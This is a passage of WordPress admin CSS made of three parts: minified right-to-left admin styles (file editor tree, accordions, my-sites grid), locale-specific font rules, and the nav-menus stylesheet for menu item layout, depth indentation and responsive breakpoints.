ul{margin:0;padding:0}#templateside>ul{box-sizing:border-box;margin-top:0;overflow:auto;padding:0;min-height:60vh;height:calc(100vh - 295px);background-color:#f6f7f7;border:1px solid #dcdcde;border-right:none}#templateside ul ul{padding-right:12px}#templateside>ul>li>ul[role=group]{padding-right:0}[role=treeitem][aria-expanded=false]>ul{display:none}[role=treeitem] span[aria-hidden]{display:inline;font-family:dashicons;font-size:20px;position:absolute;pointer-events:none}[role=treeitem][aria-expanded=false]>.folder-label .icon:after{content:"\f141"}[role=treeitem][aria-expanded=true]>.folder-label .icon:after{content:"\f140"}[role=treeitem] .folder-label{display:block;padding:3px 12px 3px 3px;cursor:pointer}[role=treeitem]{outline:0}[role=treeitem] .folder-label.focus,[role=treeitem] a:focus{color:#043959;box-shadow:none;outline:2px solid #2271b1;outline-offset:-2px}[role=treeitem] .folder-label.hover,[role=treeitem].hover{background-color:#f0f0f1}.tree-folder{margin:0;position:relative}[role=treeitem] li{position:relative}.tree-folder .tree-folder::after{content:"";display:block;position:absolute;right:2px;border-right:1px solid #c3c4c7;top:-13px;bottom:10px}.tree-folder>li::before{content:"";position:absolute;display:block;border-right:1px solid #c3c4c7;right:2px;top:-5px;height:18px;width:7px;border-bottom:1px solid #c3c4c7}.tree-folder>li::after{content:"";position:absolute;display:block;border-right:1px solid #c3c4c7;right:2px;bottom:-7px;top:0}#templateside .current-file{margin:-4px 0 -2px}.tree-folder>.current-file::before{right:4px;height:15px;width:0;border-right:none;top:3px}.tree-folder>.current-file::after{bottom:-4px;height:7px;right:2px;top:auto}.tree-folder li:last-child>.tree-folder::after,.tree-folder>li:last-child::after{display:none}#documentation label,#theme-plugin-editor-label,#theme-plugin-editor-selector{font-weight:600}#theme-plugin-editor-label{display:inline-block;margin-bottom:1em}#docs-list,#template textarea{direction:ltr}.fileedit-sub #plugin,.fileedit-sub #theme{max-width:40%}.fileedit-sub .alignright{text-align:left}#template p{width:97%}#file-editor-linting-error{margin-top:1em;margin-bottom:1em}#file-editor-linting-error>.notice{margin:0;display:inline-block}#file-editor-linting-error>.notice>p{width:auto}#template .submit{margin-top:1em;padding:0}#template .submit input[type=submit][disabled]{cursor:not-allowed}#templateside{float:left;width:16em;word-wrap:break-word}#postcustomstuff p.submit{margin:0}#templateside h4{margin:1em 0 0}#templateside li{margin:4px 0}#templateside li:not(.howto) a,.theme-editor-php .highlight{display:block;padding:3px 12px 3px 0;text-decoration:none}#templateside li.current-file>a{padding-bottom:0}#templateside li:not(.howto)>a:first-of-type{padding-top:0}#templateside li.howto{padding:6px 12px 12px}.theme-editor-php .highlight{margin:-3px -12px -3px 3px}#templateside .highlight{border:none;font-weight:600}.nonessential{color:#646970;font-size:11px;font-style:italic;padding-right:12px}#documentation{margin-top:10px}#documentation label{line-height:1.8;vertical-align:baseline}.fileedit-sub{padding:10px 0 8px;line-height:180%}#file-editor-warning .file-editor-warning-content{margin:25px}.accordion-section-title:after,.control-section .accordion-section-title:after,.nav-menus-php .item-edit:before,.widget-top .widget-action .toggle-indicator:before{content:"\f140";font:normal 20px/1 dashicons;speak:never;display:block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.widget-top .widget-action .toggle-indicator:before{padding:1px 0 1px 2px;border-radius:50%}.accordion-section-title:after,.handlediv,.item-edit,.postbox .handlediv.button-link,.toggle-indicator{color:#787c82}.widget-action{color:#50575e}.accordion-section-title:hover:after,.handlediv:focus,.handlediv:hover,.item-edit:focus,.item-edit:hover,.postbox .handlediv.button-link:focus,.postbox .handlediv.button-link:hover,.sidebar-name:hover .toggle-indicator,.widget-action:focus,.widget-top:hover .widget-action{color:#1d2327;outline:2px solid transparent}.widget-top .widget-action:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.accordion-section-title:after,.control-section .accordion-section-title:after{float:left;left:20px;top:-2px}#customize-info.open .accordion-section-title:after,.control-section.open .accordion-section-title:after,.nav-menus-php .menu-item-edit-active .item-edit:before,.widget.open .widget-top .widget-action .toggle-indicator:before,.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before{content:"\f142"}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.accordion-section{border-bottom:1px solid #dcdcde;margin:0}.accordion-section.open .accordion-section-content,.no-js .accordion-section .accordion-section-content{display:block}.accordion-section.open:hover{border-bottom-color:#dcdcde}.accordion-section-content{display:none;padding:10px 20px 15px;overflow:hidden;background:#fff}.accordion-section-title{margin:0;padding:12px 15px 15px;position:relative;border-right:1px solid #dcdcde;border-left:1px solid #dcdcde;-webkit-user-select:none;user-select:none}.js .accordion-section-title{cursor:pointer}.js .accordion-section-title:after{position:absolute;top:12px;left:10px;z-index:1}.accordion-section-title:focus{outline:1px solid transparent}.accordion-section-title:focus:after,.accordion-section-title:hover:after{border-color:#a7aaad transparent;outline:1px solid transparent}.cannot-expand .accordion-section-title{cursor:auto}.cannot-expand .accordion-section-title:after{display:none}.control-section .accordion-section-title,.customize-pane-child .accordion-section-title{border-right:none;border-left:none;padding:10px 14px 11px 10px;line-height:1.55;background:#fff}.control-section .accordion-section-title:after,.customize-pane-child .accordion-section-title:after{top:calc(50% - 10px)}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{color:#1d2327;background:#f6f7f7}.control-section.open .accordion-section-title{border-bottom:1px solid #dcdcde}.network-admin .edit-site-actions{margin-top:0}.my-sites{display:block;overflow:auto;zoom:1}.my-sites li{display:block;padding:8px 3%;min-height:130px;margin:0}@media only screen and (max-width:599px){.my-sites li{min-height:0}}@media only screen and (min-width:600px){.my-sites.striped li{background-color:#fff;position:relative}.my-sites.striped li:after{content:"";width:1px;height:100%;position:absolute;top:0;left:0;background:#c3c4c7}}@media only screen and (min-width:600px) and (max-width:699px){.my-sites li{float:right;width:44%}.my-sites.striped li{background-color:#fff}.my-sites.striped li:nth-of-type(odd){clear:right}.my-sites.striped li:nth-of-type(2n+2):after{content:none}.my-sites li:nth-of-type(4n+1),.my-sites li:nth-of-type(4n+2){background-color:#f6f7f7}}@media only screen and (min-width:700px) and (max-width:1199px){.my-sites li{float:right;width:27.333333%;background-color:#fff}.my-sites.striped li:nth-of-type(3n+3):after{content:none}.my-sites li:nth-of-type(6n+1),.my-sites li:nth-of-type(6n+2),.my-sites li:nth-of-type(6n+3){background-color:#f6f7f7}}@media only screen and (min-width:1200px) and (max-width:1399px){.my-sites li{float:right;width:21%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(4n+1){clear:right}.my-sites.striped li:nth-of-type(4n+4):after{content:none}.my-sites li:nth-of-type(8n+1),.my-sites li:nth-of-type(8n+2),.my-sites li:nth-of-type(8n+3),.my-sites li:nth-of-type(8n+4){background-color:#f6f7f7}}@media only screen and (min-width:1400px) and (max-width:1599px){.my-sites li{float:right;width:16%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(5n+1){clear:right}.my-sites.striped li:nth-of-type(5n+5):after{content:none}.my-sites li:nth-of-type(10n+1),.my-sites li:nth-of-type(10n+2),.my-sites li:nth-of-type(10n+3),.my-sites li:nth-of-type(10n+4),.my-sites li:nth-of-type(10n+5){background-color:#f6f7f7}}@media only screen and (min-width:1600px){.my-sites li{float:right;width:12.666666%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(6n+1){clear:right}.my-sites.striped li:nth-of-type(6n+6):after{content:none}.my-sites li:nth-of-type(12n+1),.my-sites li:nth-of-type(12n+2),.my-sites li:nth-of-type(12n+3),.my-sites li:nth-of-type(12n+4),.my-sites li:nth-of-type(12n+5),.my-sites li:nth-of-type(12n+6){background-color:#f6f7f7}}.my-sites li a{text-decoration:none}@media print,(min-resolution:120dpi){div.star-holder,div.star-holder .star-rating{background:url(../images/stars-2x.png?ver=20121108) repeat-x bottom right;background-size:21px 37px}.spinner{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){html.wp-toolbar{padding-top:46px}.screen-reader-shortcut:focus{top:-39px}body{min-width:240px;overflow-x:hidden}body *{-webkit-tap-highlight-color:transparent!important}#wpcontent{position:relative;margin-right:0;padding-right:10px}#wpbody-content{padding-bottom:100px}.wrap{clear:both;margin-left:12px;margin-right:0}#col-left,#col-right{float:none;width:auto}#col-left .col-wrap,#col-right .col-wrap{padding:0}#collapse-menu,.post-format-select{display:none!important}.wrap h1.wp-heading-inline{margin-bottom:.5em}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{padding:10px 15px;font-size:14px;white-space:nowrap}.media-upload-form div.error,.notice,.wrap div.error,.wrap div.updated{margin:20px 0 10px;padding:5px 10px;font-size:14px;line-height:175%}.wp-core-ui .notice.is-dismissible{padding-left:46px}.notice-dismiss{padding:13px}.wrap .icon32+h2{margin-top:-2px}.wp-responsive-open #wpbody{left:-16em}code{word-wrap:break-word;word-wrap:anywhere;word-break:break-word}.postbox{font-size:14px}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2,.metabox-holder h3.hndle{padding:12px}.postbox .handlediv{margin-top:3px}.subsubsub{font-size:16px;text-align:center;margin-bottom:15px}#template .CodeMirror,#template textarea{box-sizing:border-box}#templateside{float:none;width:auto}#templateside>ul{border-right:1px solid #dcdcde}#templateside li{margin:0}#templateside li:not(.howto) a{display:block;padding:5px}#templateside li.howto{padding:12px}#templateside .highlight{padding:5px;margin-right:-5px;margin-top:-5px}#template .notice,#template>div{float:none;margin:1em 0;width:auto}#template .CodeMirror,#template textarea{width:100%}#templateside ul ul{padding-right:1.5em}[role=treeitem] .folder-label{display:block;padding:5px}.tree-folder .tree-folder::after,.tree-folder>li::after,.tree-folder>li::before{right:-8px}.tree-folder>li::before{top:0;height:13px}.tree-folder>.current-file::before{right:-5px;top:7px;width:4px}.tree-folder>.current-file::after{height:9px;right:-8px}.wrap #templateside span.notice{margin-right:-5px;width:100%}.fileedit-sub .alignright{float:right;margin-top:15px;width:100%;text-align:right}.fileedit-sub .alignright label{display:block}.fileedit-sub #plugin,.fileedit-sub #theme{margin-right:0;max-width:70%}.fileedit-sub input[type=submit]{margin-bottom:0}#documentation label[for=docs-list]{display:block}#documentation select[name=docs-list]{margin-right:0;max-width:60%}#documentation input[type=button]{margin-bottom:0}#wpfooter{display:none}#comments-form .checkforspam{display:none}.edit-comment-author{margin:2px 0 0}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:2.1}.filter-drawer .filter-group-feature label{margin-right:32px}.wp-filter .button.drawer-toggle{font-size:13px;line-height:2;height:28px}#screen-meta #contextual-help-wrap{overflow:visible}#screen-meta #contextual-help-back,#screen-meta .contextual-help-sidebar{display:none}#screen-meta .contextual-help-tabs{clear:both;width:100%;float:none}#screen-meta .contextual-help-tabs ul{margin:0 0 1em;padding:1em 0 0}#screen-meta .contextual-help-tabs .active{margin:0}#screen-meta .contextual-help-tabs-wrap{clear:both;max-width:100%;float:none}#screen-meta,#screen-meta-links{margin-left:10px}#screen-meta-links{margin-bottom:20px}.wp-filter .search-form input[type=search]{width:100%;font-size:1rem}.wp-filter .search-form.search-plugins{min-width:100%}}@media screen and (max-width:600px){#wpwrap.wp-responsive-open{overflow-x:hidden}html.wp-toolbar{padding-top:0}.screen-reader-shortcut:focus{top:7px}#wpbody{padding-top:46px}div#post-body.metabox-holder.columns-1{overflow-x:hidden}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:0}h1 .nav-tab,h2 .nav-tab,h3 .nav-tab,nav .nav-tab{margin:10px 0 0 10px;border-bottom:1px solid #c3c4c7}.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #c3c4c7}}@media screen and (max-width:480px){.metabox-prefs-container{display:grid}.metabox-prefs-container>*{display:inline-block;padding:2px}}@media screen and (max-width:320px){#network_dashboard_right_now .subsubsub{font-size:14px;text-align:right}}/*! This file is auto-generated */
body.rtl,body.rtl .press-this a.wp-switch-editor{font-family:Tahoma,Arial,sans-serif}.rtl h1,.rtl h2,.rtl h3,.rtl h4,.rtl h5,.rtl h6{font-family:Arial,sans-serif;font-weight:600}body.locale-he-il,body.locale-he-il .press-this a.wp-switch-editor{font-family:Arial,sans-serif}.locale-he-il em{font-style:normal;font-weight:600}.locale-zh-cn #local-time,.locale-zh-cn #utc-time,.locale-zh-cn .form-wrap p,.locale-zh-cn .howto,.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,.locale-zh-cn .inline-edit-row fieldset span.title,.locale-zh-cn .js .input-with-default-title,.locale-zh-cn .link-to-original,.locale-zh-cn .tablenav .displaying-num,.locale-zh-cn p.description,.locale-zh-cn p.help,.locale-zh-cn p.install-help,.locale-zh-cn span.description{font-style:normal}.locale-zh-cn .hdnle a{font-size:12px}.locale-zh-cn form.upgrade .hint{font-style:normal;font-size:100%}.locale-zh-cn #sort-buttons{font-size:1em!important}.locale-de-de #customize-header-actions .button,.locale-de-de-formal #customize-header-actions .button{padding:0 5px 1px}.locale-de-de #customize-header-actions .spinner,.locale-de-de-formal #customize-header-actions .spinner{margin:16px 3px 0}.locale-ru-ru #adminmenu{width:inherit}.locale-ru-ru #adminmenu,.locale-ru-ru #wpbody{margin-left:0}.locale-ru-ru .inline-edit-row fieldset label span.title,.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-left:8em}.locale-ru-ru.post-new-php .tagsdiv .newtag,.locale-ru-ru.post-php .tagsdiv .newtag{width:165px}.locale-ru-ru.press-this .posting{margin-right:277px}.locale-ru-ru .press-this-sidebar{width:265px}.locale-ru-ru #customize-header-actions .button{padding:0 5px 1px}.locale-ru-ru #customize-header-actions .spinner{margin:16px 3px 0}.locale-lt-lt .inline-edit-row fieldset label span.title,.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap{margin-left:8em}@media screen and (max-width:782px){.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-left:0}}/* nav-menu */

/* @todo: determine if this is truly for nav menus only */
.no-js #message {
	display: block;
}

ul.add-menu-item-tabs li {
	padding: 3px 5px 4px 8px;
}

.accordion-section ul.category-tabs,
.accordion-section ul.add-menu-item-tabs,
.accordion-section ul.wp-tab-bar {
	margin: 0;
}

.accordion-section .categorychecklist {
	margin: 13px 0;
}

#nav-menu-meta .accordion-section-content {
	padding: 18px 13px;
}

#nav-menu-meta .button-controls {
	margin-bottom: 0;
}

.has-no-menu-item .button-controls {
	display: none;
}

#nav-menus-frame {
	margin-left: 300px;
	margin-top: 23px;
}

#wpbody-content #menu-settings-column {
	display: inline;
	width: 281px;
	margin-left: -300px;
	clear: both;
	float: left;
	padding-top: 0;
}

#menu-settings-column .inside {
	clear: both;
	margin: 10px 0 0;
}

.metabox-holder-disabled .postbox,
.metabox-holder-disabled .accordion-section-content,
.metabox-holder-disabled .accordion-section-title {
	opacity: 0.5;
	filter: alpha(opacity=50);
}

.metabox-holder-disabled .button-controls .select-all {
	display: none;
}

#wpbody {
	position: relative;
}

.is-submenu {
	color: #50575e; /* #fafafa background */
	font-style: italic;
	font-weight: 400;
	margin-left: 4px;
}

.manage-menus {
	margin-top: 23px;
	padding: 10px;
	overflow: hidden;
	background: #fff;
}

.manage-menus .selected-menu,
.manage-menus select,
.manage-menus .submit-btn,
.nav-menus-php .add-new-menu-action {
	display: inline-block;
	margin-right: 3px;
	vertical-align: middle;
}

.manage-menus select,
.menu-location-menus select {
	max-width: 100%;
}

.menu-edit #post-body-content h3 {
	margin: 1em 0 10px;
}

#nav-menu-bulk-actions-top {
	margin: 1em 0;
}

#nav-menu-bulk-actions-bottom {
	margin: 1em 0;
	margin: calc( 1em + 9px ) 0;
}

.bulk-actions input.button {
	margin-right: 12px;
}

.bulk-select-button {
	position: relative;
	display: inline-block;
	padding: 0 10px;
	font-size: 13px;
	line-height: 2.15384615;
	height: auto;
	min-height: 30px;
	background: #f6f7f7;
	vertical-align: top;
	border: 1px solid #dcdcde;
	margin: 0;
	cursor: pointer;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
}

.bulk-selection .bulk-select-button {
	color: #2271b1;
	border-color: #2271b1;
	background: #f6f7f7;
	vertical-align: top;
}

#pending-menu-items-to-delete {
	display: none;
}

.bulk-selection #pending-menu-items-to-delete {
	display: block;
	margin-top: 1em;
}

#pending-menu-items-to-delete p {
	margin-bottom: 0;
}

#pending-menu-items-to-delete ul {
	margin-top: 0;
	list-style: none;
}

#pending-menu-items-to-delete ul li {
	display: inline;
}

input.bulk-select-switcher + .bulk-select-button-label {
	vertical-align: inherit;
}

label.bulk-select-button:hover,
label.bulk-select-button:active,
label.bulk-select-button:focus-within {
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

input.bulk-select-switcher:focus + .bulk-select-button-label {
	color: #0a4b78;
}

.bulk-actions input.menu-items-delete {
	-webkit-appearance: none;
	appearance: none;
	font-size: inherit;
	border: 0;
	line-height: 2.1em;
	background: none;
	cursor: pointer;
	text-decoration: underline;
	color: #b32d2e;
}

.bulk-actions input.menu-items-delete:hover {
	color: #b32d2e;
	border: none;
}

.bulk-actions input.menu-items-delete.disabled {
	display: none;
}

.menu-settings {
	border-top: 1px solid #f0f0f1;
	margin-top: 2em;
}

.menu-settings-group {
	margin: 0 0 10px;
	overflow: hidden;
	padding-left: 20%;
}

.menu-settings-group:last-of-type {
	margin-bottom: 0;
}

.menu-settings-input {
	float: left;
	margin: 0;
	width: 100%;
}

.menu-settings-group-name {
	float: left;
	clear: both;
	width: 25%;
	padding: 3px 0 0;
	margin-left: -25%; /* 20 container left padding x ( 100 container % width / 80 this % width ) */
}

.menu-settings label {
	vertical-align: baseline;
}

.menu-edit .checkbox-input {
	margin-top: 4px;
}

.theme-location-set {
	color: #646970;
	font-size: 11px;
}

/* Menu Container */

/* @todo: responsive view. */
#menu-management-liquid {
	float: left;
	min-width: 100%;
	margin-top: 3px;
}

/* @todo: responsive view. */
#menu-management {
	position: relative;
	margin-right: 20px;
	margin-top: -3px;
	width: 100%;
}

#menu-management .menu-edit {
	margin-bottom: 20px;
}

.nav-menus-php #post-body {
	padding: 0 10px;
	border-top: 1px solid #fff;
	border-bottom: 1px solid #dcdcde;
	background: #fff;
}

#nav-menu-header,
#nav-menu-footer {
	padding: 0 10px;
	background: #f6f7f7;
}

#nav-menu-header {
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 0;
}

#nav-menu-header .menu-name-label {
	display: inline-block;
	vertical-align: middle;
	margin-right: 7px;
}

.nav-menus-php #post-body div.updated,
.nav-menus-php #post-body div.error {
	margin: 0;
}

.nav-menus-php #post-body-content {
	position: relative;
	float: none;
}

.nav-menus-php #post-body-content .post-body-plain {
	margin-bottom: 0;
}

#menu-management .menu-add-new abbr {
	font-weight: 600;
}

#select-nav-menu-container {
	text-align: right;
	padding: 0 10px 3px;
	margin-bottom: 5px;
}

#select-nav-menu {
	width: 100px;
	display: inline;
}

#menu-name-label {
	margin-top: -2px;
}

.widefat .menu-locations .menu-location-title {
	padding: 13px 10px 0;
}

.menu-location-title label {
	font-weight: 600;
}

.menu-location-menus select {
	float: left;
}

#locations-nav-menu-wrapper {
	padding: 5px 0;
}

.locations-nav-menu-select select {
	float: left;
	width: 160px;
	margin-right: 5px;
}

.locations-row-links {
	float: left;
	margin: 6px 0 0 6px;
}

.locations-edit-menu-link,
.locations-add-menu-link {
	margin: 0 3px;
}

.locations-edit-menu-link {
	padding-right: 3px;
	border-right: 1px solid #c3c4c7;
}

#menu-management .inside {
	padding: 0 10px;
}

/* Add Menu Item Boxes */
.postbox .howto input,
.customlinkdiv .menu-item-textbox {
	width: 180px;
	float: right;
}

.accordion-container .outer-border {
	margin: 0;
}

.customlinkdiv p {
	margin-top: 0
}

#nav-menu-theme-locations .howto select {
	width: 100%;
}

#nav-menu-theme-locations .button-controls {
	text-align: right;
}

.add-menu-item-view-all {
	height: 400px;
}

/* Button Primary Actions */
#menu-container .submit {
	margin: 0 0 10px;
	padding: 0;
}

/* @todo: is this actually used? */
#cancel-save {
	text-decoration: underline;
	font-size: 12px;
	margin-left: 20px;
	margin-top: 5px;
}

.button.right, .button-secondary.right, .button-primary.right {
	float: right;
}

/* Button Secondary Actions */
.list-controls {
	float: left;
	margin-top: 5px;
}

.add-to-menu {
	float: right;
}

.button-controls {
	clear: both;
	margin: 10px 0;
}

.show-all,
.hide-all {
	cursor: pointer;
}

.hide-all {
	display: none;
}

/* Create Menu */
#menu-name {
	width: 270px;
	vertical-align: middle;
}

#manage-menu .inside {
	padding: 0;
}

/* Custom Links */
#available-links dt {
	display: block;
}

#add-custom-link .howto {
	font-size: 12px;
}

#add-custom-link label span {
	display: block;
	float: left;
	margin-top: 5px;
	padding-right: 5px;
}

.menu-item-textbox {
	width: 180px;
}

.customlinkdiv label,
.nav-menus-php .howto span {
	float: left;
	margin-top: 6px;
}

/* Menu item types */
.quick-search {
	width: 190px;
}

.quick-search-wrap .spinner {
	float: none;
	margin: -3px -10px 0 0;
}

.nav-menus-php .list-wrap {
	display: none;
	clear: both;
	margin-bottom: 10px;
}

.nav-menus-php .postbox p.submit {
	margin-bottom: 0;
}

/* Listings */
.nav-menus-php .list li {
	display: none;
	margin: 0 0 5px;
}

.nav-menus-php .list li .menu-item-title {
	cursor: pointer;
	display: block;
}

.nav-menus-php .list li .menu-item-title input {
	margin-right: 3px;
	margin-top: -3px;
}

.menu-item-title input[type=checkbox] {
	display: inline-block;
	margin-top: -4px;
}

.menu-item-title .post-state {
	font-weight: 600;
}

/* Nav Menu */
#menu-container .inside {
	padding-bottom: 10px;
}

.menu {
	padding-top: 1em;
}

#menu-to-edit {
	margin: 0;
	padding: 0.1em 0;
}

.menu ul {
	width: 100%;
}

.menu li {
	margin-bottom: 0;
	position: relative;
}

.menu-item-bar {
	clear: both;
	line-height: 1.5;
	position: relative;
	margin: 9px 0 0;
}

.menu-item-bar .menu-item-handle {
	border: 1px solid #dcdcde;
	position: relative;
	padding: 10px 15px;
	height: auto;
	min-height: 20px;
	max-width: 382px;
	line-height: 2.30769230;
	overflow: hidden;
	word-wrap: break-word;
}

.menu-item-bar .menu-item-handle:hover {
	border-color: #8c8f94;
}

#menu-to-edit .menu-item-invalid .menu-item-handle {
	background: #fcf0f1;
	border-color: #d63638;
}

.no-js .menu-item-edit-active .item-edit {
	display: none;
}

.js .menu-item-handle {
	cursor: move;
}

.menu li.deleting .menu-item-handle {
	background-image: none;
	background-color: #f86368;
}

.menu-item-handle .item-title {
	font-size: 13px;
	font-weight: 600;
	line-height: 1.53846153;
	display: block;
	/* @todo: responsive view. */
	margin-right: 13em;
}

.menu-item-handle .menu-item-checkbox {
	display: none;
}

.bulk-selection .menu-item-handle .menu-item-checkbox {
	display: inline-block;
	margin-right: 6px;
}

.menu-item-handle .menu-item-title.no-title {
	color: #646970;
}

/* Sortables */
li.menu-item.ui-sortable-helper .menu-item-bar {
	margin-top: 0;
}

li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar {
	margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */
}

.menu .sortable-placeholder {
	height: 35px;
	width: 410px;
	margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */
}

/* Hide the transport list when it's empty */
.menu-item .menu-item-transport:empty {
	display: none;
}

/* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */
.menu-item-depth-0 { margin-left: 0; }
.menu-item-depth-1 { margin-left: 30px; }
.menu-item-depth-2 { margin-left: 60px; }
.menu-item-depth-3 { margin-left: 90px; }
.menu-item-depth-4 { margin-left: 120px; }
.menu-item-depth-5 { margin-left: 150px; }
.menu-item-depth-6 { margin-left: 180px; }
.menu-item-depth-7 { margin-left: 210px; }
.menu-item-depth-8 { margin-left: 240px; }
.menu-item-depth-9 { margin-left: 270px; }
.menu-item-depth-10 { margin-left: 300px; }
.menu-item-depth-11 { margin-left: 330px; }

.menu-item-depth-0 .menu-item-transport { margin-left: 0; }
.menu-item-depth-1 .menu-item-transport { margin-left: -30px; }
.menu-item-depth-2 .menu-item-transport { margin-left: -60px; }
.menu-item-depth-3 .menu-item-transport { margin-left: -90px; }
.menu-item-depth-4 .menu-item-transport { margin-left: -120px; }
.menu-item-depth-5 .menu-item-transport { margin-left: -150px; }
.menu-item-depth-6 .menu-item-transport { margin-left: -180px; }
.menu-item-depth-7 .menu-item-transport { margin-left: -210px; }
.menu-item-depth-8 .menu-item-transport { margin-left: -240px; }
.menu-item-depth-9 .menu-item-transport { margin-left: -270px; }
.menu-item-depth-10 .menu-item-transport { margin-left: -300px; }
.menu-item-depth-11 .menu-item-transport { margin-left: -330px; }

body.menu-max-depth-0 { min-width: 950px !important; }
body.menu-max-depth-1 { min-width: 980px !important; }
body.menu-max-depth-2 { min-width: 1010px !important; }
body.menu-max-depth-3 { min-width: 1040px !important; }
body.menu-max-depth-4 { min-width: 1070px !important; }
body.menu-max-depth-5 { min-width: 1100px !important; }
body.menu-max-depth-6 { min-width: 1130px !important; }
body.menu-max-depth-7 { min-width: 1160px !important; }
body.menu-max-depth-8 { min-width: 1190px !important; }
body.menu-max-depth-9 { min-width: 1220px !important; }
body.menu-max-depth-10 { min-width: 1250px !important; }
body.menu-max-depth-11 { min-width: 1280px !important; }

/* Menu item controls */
.item-type {
	display: inline-block;
	padding: 12px 16px;
	color: #646970;
	font-size: 12px;
	line-height: 1.5;
}

.item-controls {
	font-size: 12px;
	position: absolute;
	right: 20px;
	top: -1px;
}

.item-controls a {
	text-decoration: none;
}

.item-controls a:hover {
	cursor: pointer;
}

.item-controls .item-order {
	padding-right: 10px;
}

.nav-menus-php .item-edit {
	position: absolute;
	right: -20px;
	top: 0;
	display: block;
	width: 30px;
	height: 40px;
	outline: none;
}

.no-js.nav-menus-php .item-edit {
	position: static;
	float: right;
	width: auto;
	height: auto;
	margin: 12px -10px 12px 0;
	padding: 0;
	color: #2271b1;
	text-decoration: underline;
	font-size: 12px;
	line-height: 1.5;
}

.no-js.nav-menus-php .item-edit .screen-reader-text {
	position: static;
	-webkit-clip-path: none;
	clip-path: none;
	width: auto;
	height: auto;
	margin: 0;
}

.nav-menus-php .item-edit:before {
	margin-top: 10px;
	margin-left: 4px;
	width: 20px;
	border-radius: 50%;
	text-indent: -1px; /* account for the dashicon alignment */
}

.no-js.nav-menus-php .item-edit:before {
	display: none;
}

.rtl .nav-menus-php .item-edit:before {
	text-indent: 1px; /* account for the dashicon alignment */
}

.js.nav-menus-php .item-edit:focus {
	box-shadow: none;
}

.nav-menus-php .item-edit:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

/* Menu editing */
.menu-instructions-inactive {
	display: none;
}

.menu-item-settings {
	display: block;
	max-width: 392px;
	padding: 10px;
	position: relative;
	z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */
	border: 1px solid #c3c4c7;
	border-top: none;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

.menu-item-settings .field-move {
	margin: 3px 0 5px;
	line-height: 1.5;
}

.field-move-visual-label {
	float: left;
	margin-right: 4px;
}

.menu-item-settings .field-move .button-link {
	display: none;
	margin: 0 2px;
}

.menu-item-edit-active .menu-item-settings {
	display: block;
}

.menu-item-edit-inactive .menu-item-settings {
	display: none;
}

.add-menu-item-pagelinks {
	margin: .5em -10px;
	text-align: center;
}

.add-menu-item-pagelinks .page-numbers {
	display: inline-block;
	min-width: 20px;
}

.add-menu-item-pagelinks .page-numbers.dots {
	min-width: 0;
}

.link-to-original {
	display: block;
	margin: 0 0 15px;
	padding: 3px 5px 5px;
	border: 1px solid #dcdcde;
	color: #646970;
	font-size: 12px;
}

.link-to-original a {
	padding-left: 4px;
	font-style: normal;
}

.hidden-field {
	display: none;
}

.menu-item-settings .description-thin,
.menu-item-settings .description-wide {
	margin-right: 10px;
	float: left;
}

.description-thin {
	width: calc(50% - 5px);
}

.menu-item-settings .description-thin + .description-thin {
	margin-right: 0;
}

.description-wide {
	width: 100%;
}

.menu-item-actions {
	padding-top: 15px;
	padding-bottom: 7px;
}

#cancel-save {
	cursor: pointer;
}

/* Major/minor publishing actions (classes) */
.nav-menus-php .major-publishing-actions {
	padding: 10px 0;
	display: flex;
	align-items: center;
}

.nav-menus-php .major-publishing-actions > * {
	margin-right: 10px;
}

.nav-menus-php .major-publishing-actions .form-invalid {
	padding-left: 4px;
	margin-left: -4px;
}

#nav-menus-frame,
.button-controls,
#menu-item-url-wrap,
#menu-item-name-wrap {
	display: block;
}

/* =Media Queries
-------------------------------------------------------------- */

@media only screen and (min-width: 769px) and (max-width: 1000px) {
	body.menu-max-depth-0 {
		min-width: 0 !important;
	}

	#menu-management-liquid {
		width: 100%;
	}

	.nav-menus-php #post-body-content {
		min-width: 0;
	}
}

@media screen and (max-width: 782px) {
	body.nav-menus-php,
	body.wp-customizer {
		min-width: 0 !important;
	}

	#nav-menus-frame {
		margin-left: 0;
		float: none;
		width: 100%;
